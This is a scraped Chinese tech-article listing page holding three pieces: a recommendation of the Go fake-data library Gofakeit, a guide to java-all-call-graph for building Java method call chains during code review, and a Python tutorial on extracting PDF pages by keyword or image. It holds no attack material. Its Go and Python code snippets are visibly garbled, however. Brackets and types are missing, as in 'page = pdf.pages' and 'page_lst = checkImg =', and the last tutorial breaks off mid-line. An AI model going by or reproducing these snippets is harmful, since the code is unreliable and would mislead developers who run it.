「GoCN酷Go推荐」Gofakeit 数据生成工具 安全工具

「GoCN酷Go推荐」Gofakeit 数据生成工具

Gofakeit 是一款Go语言编写的随机数据生成工具,使用更易用的接口设计,可满足日常开发中绝大多数数据生成场景Gofakeit让您以更优雅的姿势生成测试数据。Gofakeit内置160+函数,同时也很方便自定义。功能160+内置函数!!!多个rand源全局rand支持struct tag支持自定义函数内置http server内置command line tool0依赖高性能安装    import "github.com/brianvoe/gofakeit/v6"Usage快速开始  import "github.com/brianvoe/gofakeit/v6"  gofakeit.Name()             // Markus Moen  gofakeit.Email()            // [email protected]  gofakeit.Phone()            // (570)245-7485  gofakeit.BS()               // front-end  gofakeit.BeerName()         // Duvel  gofakeit.Color()            // MediumOrchid  gofakeit.Company()          // Moen, Pagac and Wuckert  gofakeit.CreditCardNumber() // 4287271570245748  gofakeit.HackerPhrase()     // Connecting the array won't do anything, we need to generate the haptic COM driver!  gofakeit.JobTitle()         // Director  gofakeit.CurrencyShort()    // USD切换Random源Gofakeit有多个rand源,默认是math.Rand,并且使用互斥锁实现并发安全。  // Uses crypto/rand(cryptographically secure) with mutext locking  faker := gofakeit.NewCrypto()    // Pass in your own random source  faker := gofakeit.NewCustom()如果你需要更高的性能,可以手动解除互斥锁,注意这不是并发安全  // Uses math/rand(Pseudo) with NO mutext locking  // More performant but not goroutine safe.  faker := gofakeit.NewUnlocked(0)全局设置rand 如果你需要全局替换rand源,只需要简单设置即可:  faker := gofakeit.NewCrypto()  gofakeit.SetGlobalFaker(faker)Struct 生成Gofakeit可以为struct生成随机数据,并且可以覆盖所有基本类型,还可以使用tag定制数据  import "github.com/brianvoe/gofakeit/v6"  // Create structs with random injected data  type Foo struct {      Str      string      Int      int      Pointer  *int      Name     string         `fake:"{firstname}"`         // Any available function all lowercase      Sentence string         `fake:"{sentence:3}"`        // Can call with parameters      RandStr  string         `fake:"{randomstring:}"`      Number   string         `fake:"{number:1,10}"`       // Comma separated for multiple values      Regex    string         `fake:"{regex:{5}}"` // Generate string from regex      Map      mapint `fakesize:"2"`      Array    string       `fakesize:"2"`      Bar   Bar      Skip     *string        `fake:"skip"`                // Set to "skip" to not generate data for      Created  time.Time             // Can take in a fake tag as well as a format tag      CreatedFormat  time.Time `fake:"{year}-{month}-{day}" format:"2006-01-02"`  }  type Bar struct {      Name    string      Number  int      Float   float32  }  // Pass your struct as a pointer  var f Foo  gofakeit.Struct(&f)  fmt.Println(f.Str)        // hrukpttuezptneuvunh  fmt.Println(f.Int)        // -7825289004089916589  fmt.Println(*f.Pointer)   // -343806609094473732  fmt.Println(f.Name)       // fred  fmt.Println(f.Sentence)   // Record river mind.  fmt.Println(f.RandStr)    // world  fmt.Println(f.Number)     // 4  fmt.Println(f.Regex)      // cbdfc  fmt.Println(f.Map)       // map  fmt.Println(f.Array)      // cbdfc  fmt.Printf("%+v", f.Bar)     // {Name:QFpZ Number:-2882647639396178786 Float:1.7636692e+37}  fmt.Println(f.Skip)       // <nil>  fmt.Println(f.Created.String()) // 1908-12-07 04:14:25.685339029 +0000 UTC自定义函数 你可以实现自己的生成函数,如果想要在http server和command line中使用,需要通过AddFuncLookup来实现自定义功能  // Simple  gofakeit.AddFuncLookup("friendname", Info{      Category:    "custom",      Description: "Random friend name",      Example:     "bill",      Output:      "string",      Generate: func(r *rand.Rand, m *MapParams, info *Info) (interface{}, error) {          return RandomString(string{"bill", "bob", "sally"}), nil      },  })  // With Params  gofakeit.AddFuncLookup("jumbleword", Info{      Category:    "jumbleword",      Description: "Take a word and jumple it up",      Example:     "loredlowlh",      Output:      "string",      Params: Param{          {Field: "word", Type: "int", Description: "Word you want to jumble"},      },      Generate: func(r *rand.Rand, m *MapParams, info *Info) (interface{}, error) {          word, err := info.GetString(m, "word")          if err != nil {              return nil, err          }          split := strings.Split(word, "")          ShuffleStrings(split)          return strings.Join(split, ""), nil      },  })  type Foo struct {      FriendName string `fake:"{friendname}"`      JumbleWord string `fake:"{jumbleword:helloworld}"`  }  var f Foo  gofakeit.Struct(&f)  fmt.Printf("%s", f.FriendName) // bill  fmt.Printf("%s", f.JumbleWord) // loredlowlh内置函数列表FileJSON(jo *JSONOptions) (byte, error)XML(xo *XMLOptions) (byte, error)FileExtension() stringFileMimeType() stringPersonPerson() *PersonInfoName() stringNamePrefix() stringNameSuffix() stringFirstName() stringLastName() stringGender() stringSSN() stringContact() *ContactInfoEmail() stringPhone() stringPhoneFormatted() stringTeams(peopleArray string, teamsArray string) mapstringGenerateStruct(v interface{})Slice(v interface{})Map() mapinterface{}Generate(value string) stringRegex(value string) stringAuthUsername() stringPassword(lower bool, upper bool, numeric bool, special bool, space bool, num int) stringAddressAddress() *AddressInfoCity() stringCountry() stringCountryAbr() stringState() stringStateAbr() stringStreet() stringStreetName() stringStreetNumber() stringStreetPrefix() stringStreetSuffix() stringZip() stringLatitude() float64LatitudeInRange(min, max float64) (float64, error)Longitude() float64LongitudeInRange(min, max float64) (float64, error)GameGamertag() stringBeerBeerAlcohol() stringBeerBlg() stringBeerHop() stringBeerIbu() stringBeerMalt() stringBeerName() stringBeerStyle() stringBeerYeast() stringCarCar() *CarInfoCarMaker() stringCarModel() stringCarType() stringCarFuelType() stringCarTransmissionType() stringWordsNoun() stringVerb() stringAdverb() stringPreposition() stringAdjective() stringWord() stringSentence(wordCount int) stringParagraph(paragraphCount int, sentenceCount int, wordCount int, separator string) stringLoremIpsumWord() stringLoremIpsumSentence(wordCount int) stringLoremIpsumParagraph(paragraphCount int, sentenceCount int, wordCount int, separator string) stringQuestion() stringQuote() stringPhrase() stringFoodsFruit() stringVegetable() stringBreakfast() stringLunch() stringDinner() stringSnack() stringDessert() stringMiscBool() boolUUID() stringFlipACoin() stringShuffleAnySlice(v interface{})ColorsColor() stringHexColor() stringRGBColor() intSafeColor() stringInternetURL() stringDomainName() stringDomainSuffix() stringIPv4Address() stringIPv6Address() stringMacAddress() stringHTTPStatusCode() stringHTTPStatusCodeSimple() intLogLevel(logType string) stringHTTPMethod() stringHTTPVersion() stringUserAgent() stringChromeUserAgent() stringFirefoxUserAgent() stringOperaUserAgent() stringSafariUserAgent() stringDate/TimeDate() time.TimeDateRange(start, end time.Time) time.TimeNanoSecond() intSecond() intMinute() intHour() intMonth() intMonthString() stringDay() intWeekDay() stringYear() intTimeZone() stringTimeZoneAbv() stringTimeZoneFull() stringTimeZoneOffset() float32TimeZoneRegion() stringPaymentPrice(min, max float64) float64CreditCard() *CreditCardInfoCreditCardCvv() stringCreditCardExp() stringCreditCardNumber(*CreditCardOptions) stringCreditCardType() stringCurrency() *CurrencyInfoCurrencyLong() stringCurrencyShort() stringAchRouting() stringAchAccount() stringBitcoinAddress() stringBitcoinPrivateKey() stringCompanyBS() stringBuzzWord() stringCompany() stringCompanySuffix() stringJob() *JobInfoJobDescriptor() stringJobLevel() stringJobTitle() stringHackerHackerAbbreviation() stringHackerAdjective() stringHackeringverb() stringHackerNoun() stringHackerPhrase() stringHackerVerb() stringHipsterHipsterWord() stringHipsterSentence(wordCount int) stringHipsterParagraph(paragraphCount int, sentenceCount int, wordCount int, separator string) stringAppAppName() stringAppVersion() stringAppAuthor() stringAnimalPetName() stringAnimal() stringAnimalType() stringFarmAnimal() stringCat() stringDog() stringEmojiEmoji() stringEmojiDescription() stringEmojiCategory() stringEmojiAlias() stringEmojiTag() stringLanguageLanguage() stringLanguageAbbreviation() stringProgrammingLanguage() stringProgrammingLanguageBest() stringNumberNumber(min int, max int) intInt8() int8Int16() int16Int32() int32Int64() int64Uint8() uint8Uint16() uint16Uint32() uint32Uint64() uint64Float32() float32Float32Range(min, max float32) float32Float64() float64Float64Range(min, max float64) float64ShuffleInts(a int)RandomInt(i int) intHexUint8() stringHexUint16() stringHexUint32() stringHexUint64() stringHexUint128() stringHexUint256() stringStringDigit() stringDigitN(n uint) stringLetter() stringLetterN(n uint) stringLexify(str string) stringNumerify(str string) stringShuffleStrings(a string)RandomString(a string) string《酷Go推荐》招募:各位Gopher同学,最近我们社区打算推出一个类似GoCN每日新闻的新栏目《酷Go推荐》,主要是每周推荐一个库或者好的项目,然后写一点这个库使用方法或者优点之类的,这样可以真正的帮助到大家能够学习到新的库,并且知道怎么用。大概规则和每日新闻类似,如果报名人多的话每个人一个月轮到一次,欢迎大家报名!戳「阅读原文」,即可报名扫码也可以加入 GoCN 的大家族哟~ 原文始发于微信公众号(GoCN):「GoCN酷Go推荐」Gofakeit 数据生成工具
阅读全文
Java方法完整调用链生成工具 代码审计

Java方法完整调用链生成工具

1. 前言在很多场景下,如果能够生成Java代码中方法之间的调用链,是很有帮助的,在代码审计及漏洞分析等场景中也是。IDEA提供了显示调用指定Java方法向上的完整调用链的功能,可以通过“Navigate -> Call Hierarchy”菜单(快捷键:Ctrl+Alt+H)使用;Eclipse也提供了相同的功能。但以上都需要针对每个方法进行手工处理,拷贝出来的文本无法展示调用层级,且不支持生成指定Java方法向下的完整调用链。以下实现了一个工具,能够批量生成指定Java方法向下的完整调用链,对于关注的Java方法,能够生成其向下调用的方法信息,及被调用方法再向下调用的方法,直到最下层被调用的方法。也可以生成调用指定Java类向上的完整调用链,对于关注的Java类的方法,能够生成调用对应方法的方法信息,及调用上述方法的信息,直到最上层未被其他方法调用的方法(通常是对外提供的服务,或定时任务等)。2. 输出结果示例2.1. 调用指定类向上的完整调用链示例调用指定类向上的完整调用链输出结果格式类似一棵树,每行代表一个Java方法,与实际的代码执行顺序无关,前面的数字越大代表调用层级越靠上,0代表指定类中的方法。对于不被其他方法调用的方法,认为是入口方法,在对应行的最后会显示“!entry!”。当存在上述调用关系时,生成的调用指定类向上的完整调用链如下所示:#DestClass.destfunc()# ClassA3.funcA3()# ClassA2.funcA2()# ClassA1.funcA1() !entry!# ClassB1.funcB1() !entry!# ClassC2.funcC2()# ClassC1.funcC1() !entry!以下为使用该工具生成的调用Mybatis的SqlSessionUtils类的部分方法向上完整调用链(方法参数太长,已省略):2.2. 指定方法向下完整调用链示例指定方法向下完整调用链输出结果类似一棵树,每行代表一个Java方法,与实际的代码执行顺序一致,前面的数字越大代表调用层级越靠下,0代表指定方法。当存在上述调用关系时,生成的指定方法向下完整调用链如下所示:#DestClass.destfunc()# ClassA1.funcA1()# ClassA2a.funcA2a()# ClassA2b.funcA2b()# ClassA3.funcA3()# ClassB1.funcB1()# ClassC1.funcC1()# ClassC2.funcC2()以下为使用该工具生成的Mybatis的SqlSessionFactoryBean:scanClasses()方法向下的完整调用链:除此之外,当方法指定了注解时,也可以显示在结果中;当出现方法循环调用时,会显示出现循环调用的方法。3. 适用场景3.1. 分析代码执行流程使用该工具生成指定方法向下调用链的功能,可以将代码中复杂的方法调用转换为相对简单的方法调用链形式展示。人工查看生成的调用链时,能够通过类名及方法名识别出对应含义。支持将不关注的方法调用忽略,仅展示重要的方法调用。对于分析代码执行流程有一定帮助,适合进行代码审计时梳理交易流程、查找敏感API调用等场景。3.2. 确认被修改代码的影响范围使用该工具生成指定方法向上调用链的功能,可以生成调用指定类的所有方法的调用链。能识别入口方法,减少人工逐层确认入口方法的工作量。可用于快速确认被修改代码的影响范围。3.3. 应用功能拆分在进行应用功能拆分时,需要准确定位指定功能涉及的数据库表,及使用了对应数据库表的相关入口方法。使用该工具生成指定方法向下调用链的功能,生成指定入口方法向下的调用链,能够根据类的包名快速找到Mapper接口(使用Mybatis的场景),即可找到相关的数据库表。使用该工具生成指定方法向上调用链的功能,生成调用指定Mapper接口向上的调用链,能够根据“!entry!”找到入口方法。重复执行以上过程,直到没有再找到新的Mapper接口(即数据库表)和入口方法,即可确认指定功能涉及的数据库表及相关入口方法。4. 使用说明4.1. 依赖环境该工具将Java方法调用关系写入文件之后,会将数据保存在数据库中,需要访问MySQL数据库(理论上支持其他数据库,但需要对SQL语句进行调整)。所使用的数据库用户需要有DML读写权限,及DDL权限(需要执行CREATE TABLE、TRUNCATE TABLE操作)。4.2. 引入组件在使用该工具前,首先需要在对应的项目引入该工具组件的依赖,将其引入到test模块或使用provided类型,可以避免发布到服务器中。GradletestImplementation 'com.github.adrninistrator:java-all-call-graph:0.0.8'Maven<dependency> <groupId>com.github.adrninistrator</groupId> <artifactId>java-all-call-graph</artifactId> <version>0.0.8</version> <type>provided</type></dependency>最新版本号可查看https://search.maven.org/artifact/com.github.adrninistrator/java-all-call-graph对应代码地址为https://github.com/Adrninistrator/java-all-call-graph建议在需要生成方法调用链的项目中分别引入依赖,可以使每个项目使用单独的配置,不会相互影响。该工具仅引入了log4j-over-slf4j组件,在引入该工具组件的项目中,还需要引入log4j2、logback等日志组件,且保证配置正确,能够在本地正常运行。4.3. 执行步骤4.3.1. 总体步骤该工具的总体使用步骤如下:a. 将后续步骤使用的几个启动类对应的Java文件,及配置文件解压到当前Java项目的test模块的对应目录中,该步骤只需要执行一次;b. 调用增强后的java-callgraph.jar(详细内容见后续“原理说明”部分),解析指定jar包中的class文件,将Java方法调用关系写入文件;从该文件读取Java方法调用关系,再写入MySQL数据库;c.1 需要生成调用指定类的向上完整方法调用链时,从数据库读取方法调用关系,再将完整的方法调用链写入文件;c.2 需要生成指定方法的向下完整方法调用链时,从数据库读取方法调用关系,再将完整的方法调用链写入文件;如下图所示:4.3.2. 释放启动类及配置文件当前步骤在每个Java项目只需要执行一次。执行当前步骤时,需要执行main()方法的类名如下:com.adrninistrator.jacg.unzip.UnzipFile需要选择classpath对应模块为test。执行以上类后,会将java-all-callgraph.jar中保存配置文件的~jacg_config、~jacg_sql目录,保存启动类的“test/jacg”目录,分别释放到当前Java项目的test模块的resources、java目录中(仅在本地生效,避免发布到服务器中)。若当前Java项目存在“src/test”或“src/unit.test”目录,则将配置文件与Java文件分别释放在该目录的resources、java目录中;若当前Java项目不存在以上目录,则将上述文件释放在“~jacg-”目录中,之后需要手工处理,将对应目录拷贝至test模块对应目录中。4.3.3. Java方法调用关系入库在生成Java方法调用关系并写入数据库之前,需要确保需要分析的jar包或war包已存在,对于通过源码使用构建工具生成的jar/war包,或者Maven仓库中的jar包(需要是包含.class文件的jar包),均可支持。当需要解析的jar/war包中的class文件内容发生变化时,需要重新执行当前步骤,以重新获取对应jar/war包中的Java方法调用关系,写入文件及数据库;若需要解析的jar/war包文件未发生变化,则不需要重新执行当前步骤。执行当前步骤时,需要执行main()方法的类名如下:test.jacg.TestRunnerWriteDb需要选择classpath对应模块为test。当前步骤执行的操作及使用的相关参数如下图所示:b.1 调用增强后的java-callgraph.jar中的类的方法TestRunnerWriteDb类读取配置文件config.properties中的参数:call.graph.jar.list:等待解析的jar包路径列表,各jar包路径之间使用空格分隔(若路径中包含空格,则需要使用””包含对应的路径)将第1个jar包路径后面加上“.txt”作为本次保存Java方法调用关系文件路径;设置JVM参数“output.file”值为本次保存Java方法调用关系文件的路径,调用增强后的java-callgraph.jar中的类的方法,通过方法的参数传递上述jar包路径列表;b.2 解析指定jar包增强后的java-callgraph.jar中的类的方法开始解析指定的jar包;b.3 将Java方法调用关系写入文件增强后的java-callgraph.jar中的类的方法将解析出的Java方法调用关系写入指定的文件中;b.4 读取Java方法调用关系文件TestRunnerWriteDb类读取保存Java方法调用关系的文件,文件路径即第1个jar包路径加“.txt”;b.5 将Java方法调用关系写入数据库TestRunnerWriteDb类读取配置文件i_allowed_class_prefix.properties,该文件中指定了需要处理的类名前缀,可指定包名,或包名+类名,示例如下:com.testcom.test.Test1读取配置文件config.properties中的参数:app.name:当前应用名称,对应数据库表名后缀,该参数值中的分隔符不能使用-,需要使用_thread.num:写入数据库时并发处理的线程数量,也是数据源连接池数量db.driver.name:数据库驱动类名db.url:数据库URL,使用MySQL时,url需要指定rewriteBatchedStatements=true,开启批量插入,提高效率db.username:数据库用户名db.password:数据库密码input.ignore.other.package:忽略其他包的开关,值为true/false;当开关为开时,仅将i_allowed_class_prefix.properties中指定的类名前缀相符的类调用关系写入数据库;当开关为关时,所有的类调用关系都写入数据库向数据库写入数据库前,会判断对应数据库表是否存在,若不存在则创建,之后会执行“TRUNCATE TABLE”操作清空表中的数据;根据配置文件config.properties中的input.ignore.other.package参数值及配置文件i_allowed_class_prefix.properties,将Java方法调用关系逐条写入数据库中;增强后的java-callgraph.jar除了会将Java方法调用关系写入文件外,还会将各个方法上的注解信息写入文件(文件名为保存方法调用关系的文件名加上“-annotation.txt”);TestRunnerWriteDb类也会读取对应文件,将各方法上的注解信息写入数据库中。4.3.4. 生成调用指定类向上的完整调用链执行当前步骤之前,需要确认Java方法调用关系已成功写入数据库中。执行当前步骤时,需要执行main()方法的类名如下:test.jacg.TestRunnerGenAllGraph4Callee需要选择classpath对应模块为test。当前步骤执行的操作及使用的相关参数如下图所示:c.1.1 从数据库读取Java方法调用关系TestRunnerGenAllGraph4Callee类读取配置文件o_g4callee_class_name.properties,该文件中指定了需要生成向上完整调用链的类名;若存在同名类,则类名需要指定完整类名;若不存在同名类,则类名需要指定简单类名;示例如下:Test1com.test.Test1读取配置文件config.properties中的参数:thread.num:从数据库并发读取数据的线程数量,也是数据源连接池数量;若o_g4callee_class_name.properties配置文件中的记录数比该值小,则会使用记录数覆盖该参数值以下参数说明略:app.name、db.driver.name、db.url、db.username、db.passwordc.1.2 将方法完整调用链(向上)写入文件对于配置文件o_g4callee_class_name.properties中指定的类,对每个类生成一个对应的文件,文件名为“.txt”,在某个类对应的文件中,会为对应类的每个方法生成向上完整调用链;以上文件名示例为“TestClass1.txt”;每次执行时会生成一个新的目录,用于保存输出文件,目录名格式为“~jacg_output_for_callee/”;读取配置文件config.properties中的参数:call.graph.output.detail:输出文件中调用关系的详细程度,1: 最详细,包含完整类名+方法名+方法参数,2: 中等,包含完整类名+方法名,3: 最简单,包含简单类名(对于同名类展示完整类名)+方法名,示例如下call.graph.output.detail参数值显示示例1com.test.Test1.func1(java.lang.String)2com.test.Test1.func13Test1.func1show.method.annotation:调用链中是否显示方法上的注解开关,值为true/false;当开关为开时,会显示当前方法上的全部注解的完整类名,格式为“@注解[email protected]注解2…”gen.combined.output:是否生成调用链的合并文件开关,值为true/false;当开关为开时,在为各个类生成了对应的调用链文件后,会生成一个将全部文件合并的文件,文件名为“~all-4callee.txt”gen.upwards.methods.file:生成向上的调用链时,是否需要为每个方法生成单独的文件开关,值为true/false;当开关为开时,会为o_g4callee_class_name.properties中指定的每个类的每个方法单独生成一个文件,保存在“~jacg_output_for_callee//methods”4.3.5. 生成指定方法向下完整调用链执行当前步骤之前,需要确认Java方法调用关系已成功写入数据库中。4.3.5.1. 生成所有的调用链执行当前步骤时,需要执行main()方法的类名如下:test.jacg.TestRunnerGenAllGraph4Caller需要选择classpath对应模块为test。当前步骤执行的操作及使用的相关参数如下图所示:c.2.1 从数据库读取Java方法调用关系TestRunnerGenAllGraph4Caller类读取配置文件o_g4caller_entry_method.properties,该文件中指定了需要生成向下完整调用链的类名与方法名前缀,格式为:,或:+参数;若存在同名类,则类名需要指定完整类名;若不存在同名类,则类名需要指定简单类名;示例如下:Test1:func1Test1:func1(Test1:func1(java.lang.String)com.test.Test1:func1com.test.Test1:func1(com.test.Test1:func1(java.lang.String)若o_g4caller_entry_method.properties配置文件中指定的方法前缀对应多个方法,则可在o_g4caller_entry_method_ignore_prefix.properties配置文件中指定需要忽略的方法前缀;o_g4caller_entry_method_ignore_prefix.properties配置文件的格式为方法名,或方法名+参数,示例如下:func1func1(func1(java.lang.String)例如指定生成Class1.test方法的向下完整调用链,存在方法Class1.test1,则可指定忽略test1方法;指定生成Class1.test方法的向下完整调用链,所关注的test方法为test(java.lang.String),存在不关注的方法test(java.lang.Integer),则可指定忽略test(java.lang.Integer)方法;读取配置文件config.properties中的参数:thread.num:从数据库并发读取数据的线程数量,也是数据源连接池数量;若o_g4caller_entry_method.properties配置文件中的记录数比该值小,则会使用记录数覆盖该参数值以下参数说明略:app.name、db.driver.name、db.url、db.username、db.passwordc.2.2 将方法完整调用链(向下)写入文件对于配置文件o_g4caller_entry_method.properties中指定的方法,对每个方法生成一个对应的文件,文件名为“@@.txt”;以上文件名示例为“[email protected]@qDb0chxHzmPj1F26S7kzhw#048.txt”;每次执行时会生成一个新的目录,用于保存输出文件,目录名格式为“~jacg_output_for_caller/”;读取配置文件config.properties中的参数:gen.combined.output:是否生成调用链的合并文件开关,值为true/false;当开关为开时,在为各个类生成了对应的调用链文件后,会生成一个将全部文件合并的文件,文件名为“~all-4caller.txt”以下参数说明略:call.graph.output.detail、show.method.annotation。4.3.5.2. 忽略特定的调用关系以上生成指定方法向下的完整调用链中,包含了所有的方法调用链,可用于查找指定方法直接调用及间接调用的方法,例如通过调用的Mybatis的Mapper接口确认该方法相关的数据库表操作;当生成指定方法向下的完整调用链是为了人工分析代码结构时,若包含了所有的方法调用链,则会有很多不重要的代码产生干扰,例如对dto、entity等对象的读取及赋值操作、通信数据序列化/反序列化操作(JSON等格式)、日期操作、流水号生成、请求字段格式检查、注解/枚举/常量/异常/日期相关类操作、Java对象默认方法调用等;调用以下类,支持将不关注的方法调用关系忽略:test.jacg.TestRunnerGenAllGraph4CallerSupportIgnore在配置文件o_g4caller_ignore_class_keyword.properties中可以指定需要忽略的类名关键字,可为包名中的关键字,或类名中的关键字,示例如下:.dto..entity.EnumConstant在配置文件o_g4caller_ignore_full_method_prefix.properties中可以指定需要忽略的完整方法前缀,可指定包名,或包名+类名,或包名+类名+方法名,或包名+类名+方法名+参数,示例如下:com.testcom.test.Test1com.test.Test1:func1com.test.Test1:func1(com.test.Test1:func1(java.lang.String)在配置文件o_g4caller_ignore_method_prefix.properties中可以指定需要忽略的方法名前缀,如Java对象中的默认方法“toString()、hashCode()、equals(java.lang.Object)、(、(”等,示例如下:func1func1( func1()func1(java.lang.String)5. 原理说明5.1. Java方法调用关系获取在获取Java方法调用关系时,使用了 https://github.com/gousiosg/java-callgraph项目,并对其进行了增强,java-callgraph使用Apache Commons BCEL(Byte Code Engineering Library)解析Java方法调用关系,Matthieu Vergne(https://www.matthieu-vergne.fr/)为该项目增加了解析动态调用的能力(lambda表达式等)。原始java-callgraph在多数场景下能够获取到Java方法调用关系,但以下场景的调用关系会缺失:接口与实现类方法假如存在接口Interface1,及其实现类Impl1,若在某个类Class1中引入了接口Interface1,实际为实现类Impl1的实例(使用Spring时的常见场景),在其方法Class1.func1()中调用了Interface1.fi()方法;原始java-callgraph生成的方法调用关系中,只包含Class1.func1()调用Interface1.fi()的关系,Class1.func1()调用Impl1.fi(),及Impl1.fi()向下调用的关系会缺失。Runnable实现类线程调用假如f1()方法中使用内部匿名类形式的Runnable实现类在线程中执行操作,在线程中执行了f2()方法,如下所示:private void f1() { new Thread(new Runnable() { @Override public void run() { f2(); } }).start();}原始java-callgraph生成的方法调用关系中,f1()调用f2(),及f2()向下调用的关系会缺失;对于使用命名类形式的Runnable实现类在线程中执行操作的情况,存在相同的问题,原方法调用线程中执行的方法,及继续向下的调用关系会缺失。Thread子类线程调用与Runnable实现类线程调用情况类似,略。lambda表达式(含线程调用等)假如f1()方法中使用lambda表达式的形式在线程中执行操作,在线程中执行了f2()方法,如下所示:private void f1() { new Thread(() -> f2()).start();}原始java-callgraph生成的方法调用关系中,f1()调用f2(),及f2()向下调用的关系会缺失;对于其他使用lambda表达式的情况,存在相同的问题,原方法调用lambda表达式中执行的方法,及继续向下的调用关系会缺失。父类调用子类的实现方法假如存在抽象父类Abstract1,及其非抽象子类ChildImpl1,若在某个类Class1中引入了抽象父类Abstract1,实际为子类ChildImpl1的实例(使用Spring时的常见场景),在其方法Class1.func1()中调用了Abstract1.fa()方法;原始java-callgraph生成的方法调用关系中,只包含Class1.func1()调用Abstract1.fa()的关系,Class1.func1()调用ChildImpl1.fa()的关系会缺失。子类调用父类的实现方法假如存在抽象父类Abstract1,及其非抽象子类ChildImpl1,若在ChildImpl1.fc1()方法中调用了父类Abstract1实现的方法fi();原始java-callgraph生成的方法调用关系中,ChildImpl1.fc1()调用Abstract1.fi()的关系会缺失。针对以上问题,增强后的java-callgraph都进行了优化,能够生成缺失的调用关系。增强后的java-callgraph地址为https://github.com/Adrninistrator/java-callgraph对于更复杂的情况,例如存在接口Interface1,及其抽象实现类Abstract1,及其子类ChildImpl1,若在某个类中引入了抽象实现类Abstract1并调用其方法的情况,生成的方法调用关系中也不会出现缺失。5.2. Java方法完整调用链生成在获取了Java方法调用关系之后,将其保存在数据库中,涉及到3个数据库表,可查看java-all-callgraph.jar释放的~jacg_sql目录中的.sql文件,相关数据库表如下所示:表名前缀注释作用class_name_类名信息表保存相关类的完整类名及简单类名method_annotation_方法注解表保存方法及方法上的注解信息method_call_方法调用关系表保存各方法之间调用信息上述数据库表在创建时使用表名前缀加上配置文件config.properties中的app.name参数值。该工具会主要从方法调用关系表中逐级查询数据,生成完整的方法调用链。6. 其他功能6.1. 处理循环方法调用在生成向上或向下的Java方法完整调用链时,若出现了循环方法调用,该工具会从循环调用中跳出,并在生成的方法调用链中对出现循环调用的方法增加标记“!cycle!”,其中n代表被循环调用的方法对应层级。生成向上的Java方法完整调用链时,出现循环方法调用的示例如下:#org.springframework.transaction.TransactionDefinition:getIsolationLevel# org.springframework.transaction.support.DelegatingTransactionDefinition:getIsolationLevel# org.springframework.transaction.TransactionDefinition:getIsolationLevel...
阅读全文
实用脚本!Python 提取 PDF 指定内容生成新文件! 安全工具

实用脚本!Python 提取 PDF 指定内容生成新文件!

来自公众号:早起Python大家好,我是早起。在之前的「Python办公自动化」案专题中,我们已经介绍了如何有选择的提取某些页面进行合并。但是很多时候,我们并不会预知希望提取的页号,而是希望将包含指定内容的页面提取合并为新PDF,本文就以两个真实需求为例进行讲解。01需求描述数据是一份有286页的上市公司公开年报PDF,大致如下现在需要利用 Python 完成以下两个需求“需求一:提取所有包含 战略 二字的页面并合并新PDF需求二:提取所有包含图片的页面,并分别保存为 PDF 文件”02前置知识和逻辑梳理2.1 PyPDF2 模块实现合并PyPDF2 导入模块的代码常常是:from PyPDF2 import PdfFileReader, PdfFileWriter这里导入了两个方法:PdfFileReader 可以理解为读取器PdfFileWriter 可以理解为写入器利用 PyPDF2 实现合并运用的一下逻辑:读取器将所有pdf读取一遍读取器将读取的内容交给写入器写入器统一输出到一个新pdf隐含知识点:读取器只能将读取的内容一页一页交给写入器2.2 获取与添加页面之前我们的推文中提到这两个代码,下面列出作为复习:.getPage 获取特定页.addPage 添加特定页2.3 图片和文字的处理要实现本文的需求还要做到很重要的一个判断:确定页面中有无包含的文字或图片判断是否包含特定的文字比较简单,遍历每一页的时候都将包含的文本抽提出,做字符串层面的判断即可,代码思路:利用 pdfplumber 打开PDF 文件获取指定的页,或者遍历每一页利用 .extract_text() 方法提取当前页的文字判断 “战略” 是否在提取的文字中判断是否包含图片,思路和上面是类似的,但方法不同。图片考虑用正则的方法识别,用 fitz 和 re 配合,具体见下文代码03代码实现3.1 需求一的实现首先来完成需求一的任务,导入需要用到的库:读取写入PDF文件的 PyPDF2 以及抽提文本的 pdfplumberfrom PyPDF2 import PdfFileReader, PdfFileWriterimport pdfplumber指定文件所在的路径,同时初始化写入器,将文件交给读取器:path = r'C:xxxxxx'pdf_writer = PdfFileWriter()pdf_reader = PdfFileReader(path + r'公司年报.PDF')以上下文管理器形式通过 pdfplumber 打开文件,同时用 .getNumPages 获取读取器的最大页利于遍历每一页来抽提文字:with pdfplumber.open(path + r'公司年报.PDF') as pdf:    for i in range(pdf_reader.getNumPages()):        page = pdf.pages        print(page.extract_text())我们抽提文字的目的是用来判断,将符合要求的页码作为读取器 .getPage 的参数,最后用 .addPage 交给写入器:with pdfplumber.open(path + r'公司年报.PDF') as pdf:    for i in range(pdf_reader.getNumPages()):        page = pdf.pages        print(page.extract_text())        if '战略' in page.extract_text():            pdf_writer.addPage(pdf_reader.getPage(i))            print(i + 1, page.extract_text())完成识别后让写入器输出为需要的文件名:with open(path + r'new_公司年报.pdf', 'wb') as out:    pdf_writer.write(out)至此,我们就完成了包含特定文字内容页面的提取,并整合成一个PDF。所有的页面均包含“战略”二字:需求一完整代码如下,感兴趣的读者可以自行研究from PyPDF2 import PdfFileReader, PdfFileWriterimport pdfplumberpath = r'C:xxx'pdf_writer = PdfFileWriter()pdf_reader = PdfFileReader(path + r'公司年报.PDF')with pdfplumber.open(path + r'公司年报.PDF') as pdf:    for i in range(pdf_reader.getNumPages()):        page = pdf.pages        print(page.extract_text())        if '战略' in page.extract_text():            pdf_writer.addPage(pdf_reader.getPage(i))            print(i + 1, page.extract_text())with open(path + r'new_公司年报1.pdf', 'wb') as out:    pdf_writer.write(out)3.2 需求二的实现接下来完成需求二的任务。首先导入需要的库:from PyPDF2 import PdfFileReader, PdfFileWriterimport fitzimport reimport os指定文件所在的路径:path = r'C:xxxxxx'正则识别图片的部分不细讲,之前的推文已经介绍过,我们直接看代码:page_lst = checkImg = r"/Subtype(?= */Image)"pdf = fitz.open(path + r'公司年报.PDF')lenXREF = pdf._getXrefLength()for i in range(lenXREF):    text = pdf._getXrefString(i)    isImage = re.search(checkImg, text)    if isImage:        page_lst.append(i)print(page_lst)获取到所有包含图片的页面后,再结合读取器和写入器的配合就能完成新 PDF 的产生。注意本需求是所有图片单独输出,因此获取到页面后交给写入器直接输出成文件:pdf_reader = PdfFileReader(path + r'公司年报.PDF')for page in page_lst:    pdf_writer = PdfFileWriter()    pdf_writer.addPage(pdf_reader.getPage(page))    with open(path + r'公司年报_{}.pdf'.format(page + 1), 'wb') as out:        pdf_writer.write(out)至此也完成了第二个需求。需要说明的是目前没有非常完美提取PDF图片的方法,本案例介绍的方法识别图片也并不稳定。读者可以利用自己的数据多做尝试。完整代码如下:from PyPDF2 import PdfFileReader, PdfFileWriterimport fitzimport reimport ospath = r'C:xxx'page_lst = checkImg = r"/Subtype(?= */Image)"pdf = fitz.open(path + r'公司年报.PDF')lenXREF = 